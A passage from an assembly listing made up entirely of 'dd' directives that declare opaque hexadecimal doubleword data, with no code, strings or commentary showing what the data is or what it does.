0A7BA3Ah, 0DD9360DBh, 0C3D75C10h, 9DD9CE0Eh, 0A3206773h dd 0DA68BA70h, 0BBA63CECh, 148061BDh, 0CFDD4AE8h, 5D4E67A4h dd 0B039F4B4h, 0DCC8002Eh, 0D9A053Fh, 0BE00370Fh, 950244D5h dd 3E34100Ch, 0BF077E84h, 31659D77h, 0CC0D56BCh, 6205987Ah dd 0E74CC679h, 0F1C07A87h, 4A06A7h, 0B13B5E16h, 7309CAAh dd 0EDBBBE00h, 0E0B24F0Ah, 69FD0BF5h, 7FE01E15h, 90000912h dd 442D98AAh, 0D48EB7h, 148666F4h, 22D9FC61h, 0A9ED4F00h dd 59CC306Dh, 17C70F6h, 7AA1629h, 0F8A2FC25h, 0C000E56Eh dd 0E9A595F5h, 418F749h, 4E1579CEh, 26B8D12Dh, 0ED8D703Bh dd 40DBC507h, 4524165Ch, 12925880h, 0E609002Fh, 17137CCEh dd 793AF201h, 0F80D80E2h, 85B48B97h, 0D5E33B39h, 6ED4808Ah dd 0B88F00D4h, 5D24BFB2h, 260022B8h, 0BC2B4B03h, 57BC9CBh dd 77E49380h, 6C1DC05Fh, 8CC99D7Eh, 6154001Bh, 238027Dh dd 58E3A040h, 3C40831Fh, 0E8005B56h, 0C1821E51h, 0EFC107Ah dd 19050BB8h, 0D44C40DEh, 180806B6h, 56030978h, 7B9A90CAh dd 24C09CD2h, 0F6AABFC5h, 0E6543C2Dh, 0AC8F01FAh, 1F621496h dd 18D42424h, 5D8C1304h, 34C0EC78h, 420222h, 0E080E3DDh dd 0AA2FF152h, 0A0C84950h, 96B0E500h, 970609AFh, 0B3B700A5h dd 0D67F2C1Eh, 3D008517h, 6CD0A601h, 1F1CCA0h, 0C0DC8653h dd 3065C17Dh, 80091D4h, 0EC754C1Eh, 0C5D28Ah, 1F84F254h dd 0AFFA8C03h, 8B495901h, 0FBB218Fh, 0F63030h, 0B9D14DE3h dd 0B160A06h, 0CB53C207h, 1EF011BFh, 5CB502h, 8B76A1C4h dd 0D0073110h, 0CE6DD50Eh, 634C3A9h, 0CC6F88D1h, 0B09C3873h dd 0BCFD00F4h, 0F1A7AEACh, 4300311Fh, 98B8E162h, 66DE93h dd 83658215h, 1BEC7CB4h, 0EF9FD207h, 79606788h, 24EECB5Ch dd 5485C9h, 56F2192Ah, 68980FFAh, 0C230F600h, 183DFD28h dd 0BDAE07DDh, 0E09C475Ch, 6E203E6Dh, 0CEC4FB03h, 0B3573691h dd 0F7380043h, 1964135Fh, 7700D399h, 0FA7BA4FFh, 4C5BE970h dd 57383455h, 61EB6B0Dh, 98FAEC11h, 7779CB1Ch, 94DB0980h dd 0C68AD3h, 510772C3h, 839D56F7h, 346FE800h, 0CDA8E44Dh dd 1D713BD3h, 0A6143D8Ch, 0A7006420h, 0C684601h, 3BF0A37h dd 7A4B977Dh, 8CC8A2BBh, 65043444h, 19C7C868h, 0DD016081h dd 986097F8h, 3F3900C8h, 7659E0A3h, 323F087Bh, 5AE1803Eh dd 2BD8DC30h, 31F90025h, 0D6B46CE0h, 0F83C2826h, 0AA76002Ah dd 0B19BBAB0h, 16609099h, 28CA9FA5h, 0DB09E384h, 208BA69Ah dd 0C4DA7F60h, 63BF247Bh, 4C460BE1h, 0B8C68001h, 49D3051h dd 0CC008B79h, 4A959D14h dd 0B0265C19h, 3E8C0088h, 4F1D74D2h, 0DC4C7EC8h, 1F7A0020h dd 0FD76D66Fh, 2834059Dh, 0B60463h, 1264F8D0h, 0C807A125h dd 0A8BFB5CDh, 0E08715A3h, 422A9Eh, 8BF780FEh, 7337A0B0h dd 786AC00h, 298D244Ch, 2C9883h, 0FB56116Ch, 5A2F9E8Fh dd 0B00BA90h, 0BD9B6444h, 789CDDB9h, 4F3300A0h, 740FCB70h dd 0A900CF54h, 55AE98BFh, 0AB0281h, 0B2D0E5AFh, 2883E869h dd 97006AE0h, 8077C2D5h, 602261h, 7AF1B1ECh, 5D6FACB7h dd 0FA009C58h, 0AE0EEE23h, 0A3610B8Bh, 0F8C95C54h, 0E048ECEh dd 1E4F8614h, 70E1780h, 2A0EEB3Eh, 0C05E399Fh, 97D8C656h dd 94374893h, 0EFB9850Fh, 0A2FBDBE1h, 3853CC48h, 34CA1800h dd 921114C6h, 8EDF04AFh, 813F2C74h, 0E4641FC8h, 6B00CB23h dd 528AE8D8h, 7B7C119h, 3C6202E7h, 0A0C0700Eh, 0F0013112h dd 0B508BEBh, 0D6DCA5E0h, 0F7413B81h, 124C0C80h, 0FFE4AD96h dd 0EFA0E201h, 492376FCh, 3D8F0F0h, 7CE39AB5h, 0DCB0C04Eh dd 0A903B8B0h, 0BA624BC9h, 92BEB0E1h, 0E9D700F7h, 54CBCA8Bh dd 6300ADFDh, 312E28F5h, 78B44D62h, 0EEB92629h, 6B9E44h dd 9EE4A73Eh, 8B01C564h, 37757FDAh, 0E0409B7Dh, 3119B8h dd 5FFCE815h, 2F2DB9E5h, 0F5DE1700h, 2CB4E264h, 0A4141F30h dd 97DF035Eh, 0DC98867Dh, 9AE62D36h, 99837800h, 70072CE6h dd 80EDF80Dh, 7F00F62Ah, 0E0BC3009h, 0C9533Dh, 0B69D9AD4h dd 625F0CC2h, 0A5C57801h, 0B5A2EE7Bh, 1295E70h, 0FA3A2453h dd 0D00A7DD0h, 0BE4C0212h, 176B0098h, 0A2C2637Ah, 0E0B843h dd 0E987DE95h, 5AC7CC8Ch, 0A04558h, 98C18108h, 7E0CD5B8h dd 10B507E6h, 0E050A1FDh, 0D7287F9Ch, 23FB7900h, 7AA06A71h dd 371200F1h, 739BA816h, 0C3007EC2h, 0B77C172Eh, 0A0ECB1h dd 75E53A54h, 155EAED4h, 2200B1B0h, 0B6AFC49h, 5C80BC1Ah dd 1C3EE6FFh, 400F469Dh, 22042DCEh, 87008935h, 0CC7915ECh dd 0C019DB9Ah, 0F677CF30h, 1007FDFh, 0F1449596h, 4C267279h dd 7B011B69h, 804BBCE5h, 0E0B9D052h, 53067E00h, 3DE6FC96h dd 88AD029Ah, 6DD6AE79h, 0DD8B00FDh, 700134A5h, 5B85385Ch dd 0B0A09079h, 0B49045h, 43F6694Dh, 84B7940Ch, 80574B3Dh dd 0AC971245h, 4E6A8Dh, 2FCC46F5h, 0C559B803h, 0B0CBD38h dd 1BB0120h, 3A14E690h, 137EECCCh, 2966DD7h, 8EE369B4h dd 798CAA30h, 177800E9h, 0EB6C5524h, 4D0030B2h, 52254E41h dd 0F03EFh, 71F709B7h, 49F32304h, 3D509E60h, 0AFA952h dd 0CCA1EDC4h, 1CFBC5A4h, 873D3271h, 29C38089h, 0E82B4ADCh dd 1E120F80h, 0E1860667h, 0FF3D10E9h, 0F30E8B53h, 9D7480CAh dd 657B94h, 43DD6626h, 0B58B6D7h, 2C197400h, 0A173C317h dd 933F0027h, 36AACA5Bh, 9D001BB9h, 1DF57FE6h, 0F6138C77h dd 7E75015Ah, 0E4357A0Bh, 87CD6048h, 9948D1E8h, 0BD0C00ACh dd 686CAA9Ch, 0CD4901FCh, 0B2EC5AC9h, 0C0B82529h, 8AFEE95Ch dd 0E394821Eh, 98DA2AC1h, 0A824817Ah, 92E50337h, 512D4B80h dd 0AC40EAF2h, 2B0041D6h, 0B5C31E22h, 0F7202E5h, 0DF96D1A4h dd 98778DE0h, 0D26FCD0h, 5039368h, 0DF02B8E7h, 4C6285A7h dd 0F3004055h, 0F2E50038h, 0FDE224BCh, 36004030h, 0DCA74134h dd 379AFB6h, 6D95F2E1h, 0D48B7E12h, 0BA941100h, 0B1E9A618h dd 7D15007Ch, 0FF82F504h, 0A3E22F7h, 84AB00C7h, 274F066Ch dd 21EF07BBh, 706D452Fh, 4D31430Ah, 0DF92F601h, 8950EA10h dd 0E4C77082h, 0F4601690h, 0C898E174h, 7811B760h, 2C432A4h dd 33502EE7h, 7C78A368h, 4D2AD50Ah, 6400D435h, 0B09BB3DCh dd 1CEC4C7Bh, 62EE6100h, 2839B603h, 0D80A4B2Ch, 0A0043F0Fh dd 9886EA16h, 5D1900ACh, 8D05445Bh, 0FD00AB97h, 97872F5h dd 0FD1E886h, 21420371h, 14204ECFh, 0A298D0ABh, 7DD83900h dd 0DDEFE629h, 0FD3C005Bh, 2768DAD9h, 0DB00A844h, 0C309DEB6h dd 0F67663h, 261D4D28h, 8CE681B3h, 573CBA07h, 0FBF0D2CBh dd 0EFA5E3h, 8F3F5CEBh, 0BA86F081h, 78610214h, 0D47200AEh dd 5A1D3DAAh, 0C33400C5h, 3012F9C8h, 0EC00FFBAh, 0F369AD89h dd 58AA8Bh, 33AEEFF0h, 95144A02h, 8536050Bh, 0BE20800Fh dd 5D547Bh, 0E7BB7CEEh, 0A6722BABh, 9C742090h, 69FE3900h dd 50AC56F9h, 47F20451h, 0C37260DEh, 0D9809DD8h, 0BE24ECBh dd 0A2D40F00h, 2D6DEDFAh, 0FB4401D3h, 0EF26F340h, 4B71D893h dd 42523F00h, 0DD5846CCh, 0CE90C2h, 0E5907DF3h, 0F43F8D85h dd 2B6F7300h, 91EE263h, 290E0006h, 8CED7E3Ch, 0CD004B75h dd 22F1E481h, 3DC47762h, 5E009EA4h, 74A9F6FFh, 40D6168Fh dd 8A6D5847h, 737C1520h, 3ACA0013h, 0B760148h, 0DC006F30h dd 69E52C9Fh, 7631F2E9h, 1720055h, 0C137949Eh, 1B142857h dd 0C040B826h, 0FF7AD422h, 23E7002Ah, 3AB28EE8h, 9700A99Bh dd 0E6B37CB0h, 66E0E3h, 1BE7372Eh, 120D67F1h, 9B5B4C00h dd 0FEDEB3AFh, 0B8EA4Dh, 0A699E5BAh, 0B287A95Ah, 790CD00h dd 66F481A2h, 42960EBCh, 0C13D38C7h, 2D56AD3h, 0CF3BE036h dd 0C6BCAC16h, 604B420Eh, 0EFF10DB5h, 97AE1E8Dh, 0F5CC0E9h dd 0D273C512h, 1D5AAC05h, 30C04650h, 41D3D0h, 4C6F788h dd 78215230h, 60401807h, 0B591431Eh, 0AAC8C1CEh, 334ADBh dd 637FDDB4h, 171E7C20h, 5A008E0Bh, 0B5AAE758h, 4AF6008Dh dd 0C6BE4902h, 0BA009AA5h, 6A015079h, 722E33h, 3B3E88F0h dd 61414539h, 0B5A07700h, 0DFC7EFABh, 325C0340h, 0D31182A9h dd 0B89A7390h, 0DEC6AD00h, 27046AC1h, 53AA1E01h, 48D30084h dd 98181B51h, 7EB58901h, 72AFDCA2h, 0B8E04830h, 1D5918C2h dd 41E261B8h, 577E35F0h, 30DBF00h, 0DB562A4Ch, 0CF38C0A1h dd 60C15449h, 4742B002h, 70CDB76Dh, 633BF6F4h, 72AE48ACh dd 1471D8F0h, 67812200h, 0CFC0D784h, 0E19600DCh, 0ACB2ED9Dh dd 4712D109h, 90800BFDh, 46FAF4h, 0B9C8A0D3h, 0F31A2B99h dd 287348h, 0C6C5CFA6h, 0F71767h, 36047B97h, 0D9AE4915h dd 7CFA5500h, 166C87EAh, 40CF006Ah, 0A5CB10E0h, 61399EF8h dd 0C2A5AAh, 0CFA7BE8Ch, 0D7E326ECh, 65F9007Ch, 0C0134F3Bh dd 320089E6h, 39DE84EEh, 529CB06h, 3C36194Ch, 8B26802Ah dd 157FA1A3h, 0AF515800h, 249A7097h, 6664002Ch, 91C8A2D0h dd 4400D21Fh, 79451DA3h, 205DC97h, 6D36890h, 7BE03236h dd 0B3009B75h, 0D883BE82h, 30771259h, 0BF6EACF2h, 2E00B6CCh dd 75DBCF4Ch, 5039316Fh, 6749496h, 2452F555h, 71FE8CC0h dd 2A54F317h, 70AEE500h, 351F468h, 1CEB22E0h, 53E8B95Bh dd 0E800F220h, 0AEB45E21h, 0FF81A5Dh, 62D9A5D2h, 41981F96h dd 241FB3CAh, 3BA04042h, 2C90BDEDh, 8F66A888h, 81A46B39h dd 2A3D73EBh, 1ED02F49h, 29951431h, 6700849Fh, 0EF17194Ah dd 5001485h, 0D0CE4E57h, 0B855F96Ch, 81CB0042h, 7595F4A4h dd 8D07781Ah, 0FA3B3013h, 6850600Eh, 1DA286Fh, 63ABFF74h dd 8F4F81F5h, 601E6106h, 380A0F91h, 0AAEAFCh, 2F6AF007h dd 23667D62h, 92B96100h, 0BBEAE67Eh, 959D287Ch, 0F9D8039Ch dd 1C88F650h, 0CDD94480h, 7EF84E00h, 0D4410515h, 5F66DFCCh dd 0B78000BEh, 7CB6265Dh, 7D4C9600h, 0B82358BAh, 0A8C7C86h dd 0E7162E10h, 560A059Ch, 0E434C91Fh, 7E009604h, 3C625CD5h dd 48CD3BDAh, 32005C02h, 0B8BB9567h, 0F4B21DF1h, 68F895h dd 37E8709Ah, 0BCB7A16Ah dd 0E9BC31Ch, 18558C40h, 8EB01Bh, 0FF3E87B5h, 53A646Ah dd 0B248898h, 490106BFh, 0D9158248h, 5C021ACCh, 409DA89Bh dd 65291898h, 40000772h, 2C3FEBA1h, 4D638Eh, 8DD76CFEh dd 12834BCEh, 58B70500h, 0FF59A3EFh, 0F19D0174h, 0D7947A7Ch dd 0A660E6DAh, 0ED130176h, 0B80028AEh, 93B1B236h, 0DF7D136Bh dd 0D60CC8BEh, 0FF812400h, 950274Bh, 7322FCA0h, 11060EC8h dd 770E60h, 0F82E9A58h, 290069D6h, 54F03EA9h, 0F601E005h dd 80A4C0h, 0DF5FED6Ch, 0CE539F1Dh, 0BFBE6900h, 343CF80Bh dd 2F2B0764h, 0C075C819h, 0B210D231h, 7BF1A804h, 30C0E2DCh dd 1257E097h, 0FF50EBh, 78274C1Ch, 4F7C0215h, 72ABA502h dd 41C96597h, 8840F3D9h, 0F174CFh, 78A1A282h, 8A2C75D9h dd 0B0B5CD00h, 2039C99Dh, 0B8E90222h, 0BB72FE57h, 36AD8860h dd 1F91B00h, 0B6AC6618h, 3110062h, 0A96C0AF8h, 127065B1h dd 39006FF8h, 5C9AACAFh, 975FE676h, 69953500h, 652FE07Ch dd 0DA288209h, 45FC0080h, 52F86215h, 0E401E54Eh, 221969E0h dd 1E16D03Ch, 7E38CA15h, 0E4F149h, 7D4F17F7h, 340DE48Fh dd 19BE76h, 3ED30198h, 34075E38h, 4EED5051h, 5F0C3AD0h dd 0FF5D00A1h, 192D17ADh, 0CF7CE18Ah, 1490161Fh, 4B540Fh dd 75AF94CEh, 0B09260F6h, 83CB9AF1h, 8BD92412h, 6C5F0B00h dd 3F9807h, 6ECDBE34h, 9BDD2A57h, 0C3AFD200h, 32CF88A8h dd 1955FA7h, 2E2D962Ch, 7814E0B5h, 0E4DC4Dh, 0BF3C1A0Dh dd 0B8EA98B2h, 90E00F5h, 0B0238C96h, 490078D8h, 0F7DFBE0Bh dd 2FA3468h, 226C8170h, 41C0C409h, 393A1FD0h, 4EC5807Bh dd 0AEBC8899h, 65140042h, 18F15968h, 0D23AF96Dh, 80362F87h dd 0B897F8BCh, 899560D5h, 390CA689h, 0B195204h, 0A980D950h dd 2363305h, 98126E31h, 0BC5092CEh, 888A8F00h, 0BDBFE61h dd 0DE42005Ch, 0B2BE0D47h, 565827CAh, 0C85D077Bh, 0EAE1A380h dd 60E01CBDh, 79896C5h, 122D84F4h, 889E8EBAh, 0C3622488h dd 4F88B807h, 41DCB732h, 2F2D3E86h, 0D0009023h, 0A1BE173Dh dd 226200D4h, 0D5CB0136h, 60BCD373h, 0FED7770h, 0D0E66490h dd 0AB044A97h, 3D401B0h, 4C233135h, 9D000AC0h, 7FE6207Ch dd 4982FEF8h, 26743CAAh, 1344694h, 98DD9288h, 641EDDBDh dd 99007794h, 4E1A22A9h, 76311BB4h, 5719013Ch, 0F3A8E554h dd 0ADE46082h, 88A0AE24h, 0AFBD9487h, 119EE6h, 0D9D5BF9Ah dd 0E4ED0742h, 0E92E3Fh, 0FD41373Ch, 71B755F4h, 663E0009h dd 0E3BAB997h, 4C4CA49Fh, 92980FF0h, 21D2AE07h, 0A28DC970h dd 54DFC8h, 41CFFE5Dh, 0D0C6D30h, 0CF74027h, 7AC749C8h dd 232800FFh, 77FE117Ch, 0D00FD492h, 0E095BCFCh, 750A214Fh dd 483C0188h, 1EA3B42Dh, 0A2D0E71Fh, 0E900B1BFh, 5047D4C1h dd 50382A42h, 7E2B4AAh, 0EFEB3583h, 660B0391h, 0A4AEE3E8h dd 0C3A2F1C0h, 25C1AF5h, 4BD4428Ch, 0F4A04922h, 0ED60DE62h dd 61116D65h, 8FF378C0h, 0AD420337h, 3E062B09h, 0C0483CE2h dd 22952E20h, 748F014h, 1E23B05Bh, 8D0087A9h, 0BBAF8255h dd 5FD491h, 0D14895C1h, 61E2CAAEh, 50193800h, 0EFE8907Ch dd 56635893h, 0C056FF1Fh, 2A2540F3h, 62009239h, 0ABAAA5C1h dd 3BB981Bh, 1C60B29Ch, 0E3D0A69Fh, 5C0C9B84h, 19024BCAh dd 0F89A00F5h, 10C1940Ch, 0A00E79FCh, 20557CECh, 0F0C9ACA8h dd 8FA600A2h, 143B0862h, 3900D877h, 41D4C528h, 0E45236h dd 0F8BEFFFBh, 507AEA64h, 9359C639h, 2300907Eh, 0B9F257A4h dd 82FD1458h, 0BD00C0B8h, 0F1E92B46h, 8AB05629h, 0F3215205h dd 0B8D01AE7h, 9F02255h, 0BF297FA5h, 0F66670E0h, 0C0274F0Fh dd 2079AF9Fh, 4BF955F0h, 0D75A261Bh, 0EC4E0298h, 0A4564756h dd 0F9C79E00h, 986016h, 0C88DE866h, 0E2344AA1h, 4EB2931Fh dd 0F89FFA02h, 39B8D87Dh, 4F1EB0BBh, 0F849FB33h, 5E05E29h dd 408FCBBEh, 0EC8C83FCh, 0F60081EBh, 0F048DFDh, 48AF8468h dd 8C4CA8CFh, 60AA7401h, 205F29F6h, 0F33BD5AFh, 21268B72h dd 43C8C09Dh, 82C026DCh, 0EE590040h, 5829CA83h, 0F6EDE200h dd 371DD694h, 0D35E0026h, 51494BADh, 9500273Eh, 0B15C1BB8h dd 0B7D7AA3h, 0F1A9BA1Dh, 0F307F85Ch, 0A733136Eh, 2D5AD0EDh dd 82F6003Fh, 9402C666h, 2CB0E8AAh, 0B38EF200h, 0A710DFB1h dd 0D01C1781h, 9DF0E04h, 0E7907F80h, 5004C86h, 5F165BBAh dd 7DADAE38h, 115F4C8h, 0BD1D4E87h, 0E4370DB8h, 36247C79h dd 138FB4F5h, 5E5420D7h, 99A9A1EDh, 73EFE0B8h, 71C230Eh dd 2177A8A4h, 0BBF0B167h, 150A40h, 0AE994C56h, 0F6A063Ch dd 0E1202D04h, 90D0BF72h, 58052537h, 2BC83819h, 7057B047h dd 0B33C076Bh, 0C5337500h, 4C2B061Dh, 708F0360h, 0F065F902h dd 0CE98ADBFh, 0D0963B50h, 880F40D9h, 0F1C1C0ADh, 3526301Ch dd 0F0E446A4h, 9CD7012Ch, 686BC342h, 3B969CF8h, 478209E6h dd 6ED87FD2h, 0EF6A3468h, 6F1FABE6h, 5C10E0Dh, 2E467CF9h dd 0D7035187h, 82F1CF7Ah, 0E2C1BA5Fh, 8C54C56Ch, 0D3B9DF7Ah dd 403D3C09h, 0CEED853Bh, 10CC3492h, 73016E09h, 0AC868310h dd 0B466E889h, 0BF8BC202h, 208C6714h, 12007530h, 50EE8A7Eh dd 0B1025491h, 8FD70320h, 92FB0B46h, 0E0BB08Eh, 632F2BF5h dd 1550A898h, 60381E3Ah, 7BB38074h, 0C0E998BEh, 18B88800h dd 2817977Ah, 69C40312h, 0F17BA754h, 0F2E020EAh, 0CF039BF3h dd 1B4AEDD7h, 0E55CD956h, 0D930C0CAh, 466B0021h, 0DB769674h dd 16FCC48Ch, 6A3F3A03h, 3F2E0B24h, 9202CC28h, 311021E3h dd 54236B41h, 99B9C2B4h, 0A8C99CA4h, 0CC681E30h, 261976C0h dd 4C7705Dh, 65029BA3h, 1EECD06Bh, 8200B422h, 62BFE0E6h dd 396D9AB1h, 9D0741FFh, 15FBD8Eh, 0FC6AD484h, 5E009F29h dd 0B0C2ABE3h, 85C8D0h, 6FA68314h, 95F455C6h, 0D8A4C100h dd 7AAAB61h, 0C4D40E5Dh, 409D7BC8h, 854D2725h, 9600DC38h dd 75F6E209h, 7BF7E1A4h, 66FE0164h, 9E7A440Dh, 0B58EDCD7h dd 9FF06B00h, 90EB1283h, 414800D5h, 0FBF57F8Dh, 0EF000F65h dd 9D6E386Dh, 0B52BF0Dh, 0D3FD4527h, 1B19B700h, 8400B5D8h dd 16E6BD91h, 3925B0Ah, 0C1CA73A2h, 0C2E09F1Dh, 432EA19Ch dd 0E0253449h, 4C5D5640h, 0B60022EAh, 9559D2C9h, 0AF01A7EDh dd 1330BE9Eh, 0CB20E052h, 1C570F14h, 8DC01A27h, 0EB8A7B87h dd 9BEE7203h, 0ABEF75C7h, 820ACA4Eh, 0D8B125B8h, 0A05C7D28h dd 0BBC8FDFh, 0E45F5A7Dh, 0BD861900h, 0F87C147Eh, 1D010F00h dd 0C858B504h, 21276BAh, 52BD0D1Ch, 0BCA284CEh, 0BB07F18Ah dd 928E48Bh, 0C5035FEBh, 45FF0800h, 8C92401Dh, 66013C00h dd 7D794213h, 0E4F902C2h, 2C2DE725h, 405C4A61h, 503B13F4h dd 8271802h, 61B44652h, 50BB362Ah, 0CBCFA100h, 7CCEE493h dd 0E7501600h, 46E00CBEh, 0ECA74C27h, 0FC6B2203h, 0A9C05554h dd 0A100F3CAh, 7F5DDA53h, 4D5E88D3h, 724704Fh, 4657403Ch dd 9779F7F1h, 0A194D61Ch, 5E513D03h, 8F14A01Bh, 83E52492h dd 0F5E60048h, 0B2C9A95h, 742B3016h, 9380381Eh, 1B29FFFEh dd 0CCE3004Eh, 0A0D23C8Eh, 0A905C2FCh, 0DA660681h, 0B4855C80h dd 18390E6h, 145699C6h, 40263805h, 3E532B80h, 3212171Fh dd 54409E9Fh, 0F1C8ABA9h, 0A5D0269Dh, 66F500DCh, 726EFC36h dd 97F6B4FEh, 8B778C9Ah, 253AD80Ah, 7780BC4Fh, 68DAD644h dd 0DBEE0324h, 27400573h dd 149103D0h, 0EC6BFC0Bh, 56E8E062h, 729900FBh, 5C9D8FE9h dd 7E003357h, 454FA4CFh, 1FF4062h, 5D18E63Ch, 0D08852F9h dd 0A8A08422h, 6BEAB108h, 0E488064Ch, 22F1B89Ch, 5EECFD5Dh dd 318A150Eh, 64948519h, 0DEB438C0h, 60A36918h, 0A7AE70B8h dd 99F19D60h, 2CABA2BEh, 178B5C5h, 7F962F2Eh, 0ED2180B6h dd 3DE35621h, 0E815125Ah, 0BB4CCC6Dh, 1FD8188h, 9137E0Ah dd 2CF30390h, 0FD0B074h, 0B7763884h, 478DEA4h, 0E5671513h dd 3EF18094h, 0D767007h, 59C0088h, 62F32C44h, 3C92217Bh dd 1ACF659h, 0E47D76FAh, 482CA198h, 4939D07h, 0B615C48Fh dd 0B42CD3B0h, 0A53C01E2h, 44AFC39Ch, 64E8D10Bh, 3C9CAD58h dd 5CFDEA80h, 1F310640h, 2DBECA4h, 0EF078C0Dh, 1280C85Bh dd 8EEA6491h, 3C0B29Ah, 6AA2A3D4h, 291F83DFh, 30C0E87Fh dd 4A545B0Fh, 0E8F264F5h, 6E853014h, 0E090B301h, 1D29E164h dd 59426Bh, 0C55B50D2h, 0A9FE094Ch, 18F185F3h, 5C404812h dd 87BB88C3h, 627B96h, 2D226FDBh, 72374316h, 4E0C0701h dd 0FB69DC48h, 0AD204435h, 39449812h, 8C815E6Ch, 2354C4BAh dd 0FCC8FF47h, 0A048F05Ch, 44ED0F84h, 1F66BF8h, 74343D80h dd 0C99C0878h, 2A8C207Ch, 3E702A21h, 489B6A01h, 1CD28632h dd 4E7F9064h, 0D01030BFh, 3043709h, 48FC405Eh, 7A798890h dd 0C5351207h, 150087A9h, 2A0CC8D8h, 0BE0002ECh, 251895A0h dd 37669h, 47063FF6h, 0D79FB15Fh, 4EBD1000h, 75A486D2h dd 54D44CC8h, 0CEC4BB00h, 167BCDE3h, 0F3021801h, 0A108DF76h dd 9E5230h, 34AEC9A3h, 0F2F0E752h, 2FF9000h, 0B6660735h dd 0F4540056h, 0AD918E97h, 0B0B02596h, 0B9E08A0Fh, 28F060B3h dd 0E28267h, 6101E6B6h, 7469023Ch, 41D3A200h, 0E07FD03Ah dd 31510029h, 98EAAE40h, 7E01B91Ah, 5D9AC9E6h, 18208B09h dd 0C5650044h, 93901482h, 610045B1h, 911A84C3h, 40BE88h dd 0D081C458h, 4BECDB32h, 4303C97Dh, 0F1D922F0h, 4DBEF84Eh dd 0C2E81F2Ah, 0DD72CAB5h, 0BA6E00D0h, 0BDAE3BC3h, 45255002h dd 48302F1Ch, 0B8392C38h, 2BF3AFh, 0E5BA99BCh, 5BEAFFA8h dd 0FD4030Eh, 56124198h, 0E6EC92CAh, 0B633134Fh, 932047C0h dd 2B6DE014h, 910E0BD0h, 20301A5Dh, 4BE467E7h, 0B1E0A0ADh dd 333505AEh, 42CF44Fh, 0C742E8A4h, 4720A024h, 12018421h dd 3CA0FB08h, 92D802BAh, 0A8634901h, 0AACE2707h, 5568307Dh dd 66037E14h, 0ED735615h, 0BE96B8C9h, 0B07AEAA4h, 89C40084h dd 0B1B29ADEh, 811CE968h, 0BB40BC50h, 0ACA88FC7h, 0DD830209h dd 0D3D063BDh, 7A4AA048h, 0DED6500Bh, 1FDCC06Ch, 0FA080060h dd 0C95AEB59h, 500BACF4h, 0E23A610Bh, 7C57C1BCh, 3D9AFC70h dd 8060ED88h, 302CB5E0h, 0E42A6700h, 0BC77CB6Ch, 10DF00B6h dd 0CDFFAAB0h, 580F3143h, 20492B3Bh, 78FE59D5h, 54A40004h dd 909A09ADh, 2D0BAB37h, 68C7B4F1h, 258B708h, 0BECEB399h dd 0F602BD3h, 1A001657h, 3139FACFh, 0FEAACD3Ah, 0ADE126B8h dd 1C0B0040h, 47FF5410h, 574EFE17h, 0BC031040h, 89145Dh dd 26F57562h, 7F1F282Fh, 1AD5E600h, 8184F3Eh, 0B527CC7h dd 7395AE9Bh, 0FB6774C0h, 0E1F2BAEEh, 0F0B5C02h, 60FA58A2h dd 3F92BCh, 0AA542CF1h, 659871AEh, 6B36E700h, 9F6AB39Dh dd 3FE00070h, 0ED06FA1Dh, 0AC00A396h, 5EA5031h, 2A299ECh dd 0E85335ADh, 4F608FBFh, 0BC09FD5Eh, 0FA8BB250h, 11490064h dd 0DE0D9289h, 0DC776AF9h, 2C09857Bh, 0A0321B3Ah, 4029253Ch dd 0C0EAF619h, 622F2710h, 0A26144Dh, 38A804h, 0DA2E2546h dd 0E8DEC398h, 0BE7502CBh, 5C73FDDh, 9077007Eh, 0EA98C085h dd 0A5E21h, 0D65A9A05h, 7181FD7Ah, 9B70E00h, 7DD7C46Dh dd 88E2FAh, 95651407h, 0A7E3FC68h, 7BF5EA00h, 0D6B3E212h dd 0B4A4059Ch, 13F99048h, 199E00C8h, 46D2FC05h, 0FDD0DA00h dd 0C5F20F0Eh, 0B7D31C4Bh, 0C4184B08h, 0A0855584h, 0E9005A98h dd 0C1841D52h, 25E557Ah, 17F750EBh, 62E03433h, 2A2528BCh dd 5CE4A324h, 0C6D9886Eh, 69F4778Ch, 3400BEF1h, 857EFA6Dh dd 594DB918h, 0A7B1D0h, 3CDBCBF3h, 0D7621653h, 7B6F9C06h dd 7B9330Eh, 68B58B6Eh, 3DE250A1h, 0BB009964h, 97794762h dd 4C7B86h, 1F095BC4h, 0BF7AC8E3h, 241D9807h, 7D60E116h dd 21999BEh, 63AB1426h, 642168E8h, 24235FE6h, 0F38DF09h dd 9E0A1820h, 970FDE72h, 219DCEBEh, 0F3E0736h, 0EC29438h dd 8E601C61h, 0CB00C3D4h, 0E0E39FA2h, 95BA0D7Bh, 0BCC0600Eh dd 0A4C4C787h, 98380964h, 544910F8h, 0EF10C34Eh, 0E284C1A8h dd 76198362h, 4003E291h, 9D5CD0h, 0A99097FDh, 0D99F2961h dd 2149EC1Ch, 0DE39D6C0h, 0F1FC93h, 731C6E86h, 40D8156Fh dd 508DF212h, 1F0330E0h, 0C1D3CE6Ah, 100F1D21h, 70003BC3h dd 0B7B655CDh, 64EF0B04h, 5B05E13Bh, 4D5CC0D2h, 0A705A956h dd 789FF5CCh, 74A346C0h, 5C4148CBh, 0D1C3BE00h, 0FA3D8EB4h dd 22F64800h, 4FC125F4h, 0F5550016h, 0FF75E32Dh, 51005605h dd 0DB90CAD3h, 0FC16A4CCh, 49E801F4h, 0A8E30B58h, 0C003E9Bh dd 3FFEC813h, 311B132Bh, 0BD4600C4h, 54148546h, 0EFE08097h dd 2A95F4h, 949E9DDDh, 0B8B0A80Bh, 57D41200h, 87E21FF2h dd 28AE5C66h, 75AA100h, 3305D60Dh, 2E9AE01Dh, 0EFC81FCh dd 69B5AD68h, 4FBA04D4h, 7E04C36Bh, 0C3819A80h, 0CC4C5B0Ah dd 8B01C179h, 2EF80DB9h, 0A870CDC5h, 0F248012Ah, 8674D546h dd 69E8E4A2h, 2D320B00h, 0BEA08A1Ch, 0C2DD006Ch, 9207427Ah dd 9A0018FEh, 32B2C5A7h, 1E4C3F50h, 8663F92Dh, 0D0370A6Bh dd 5E005098h, 0DBBF9BAFh, 13B3BCFFh, 0D1DC9Ch, 4C86E1D3h dd 0B5001283h, 0A89B1907h, 7F8E84E4h, 5A74003Eh, 6EA3CF73h dd 0D00102A0h, 157990FFh, 8C28F467h, 3009D100h, 0CB639F18h dd 395B9A00h, 93D9E735h, 8AB83B62h, 0E4A0074h, 11B66F85h dd 30E58614h, 8D008EA3h, 0BAB9AD10h, 0E0617FD7h, 23AF0BBCh dd 6C506835h, 7A6FD526h, 48FB3B00h, 0B50F78h, 19291157h dd 0F5981DC2h, 0DA2287A0h, 4B4EF0B2h, 5854A440h, 8FA6EBh dd 68C25CB3h, 0A63A4F6h, 74041577h, 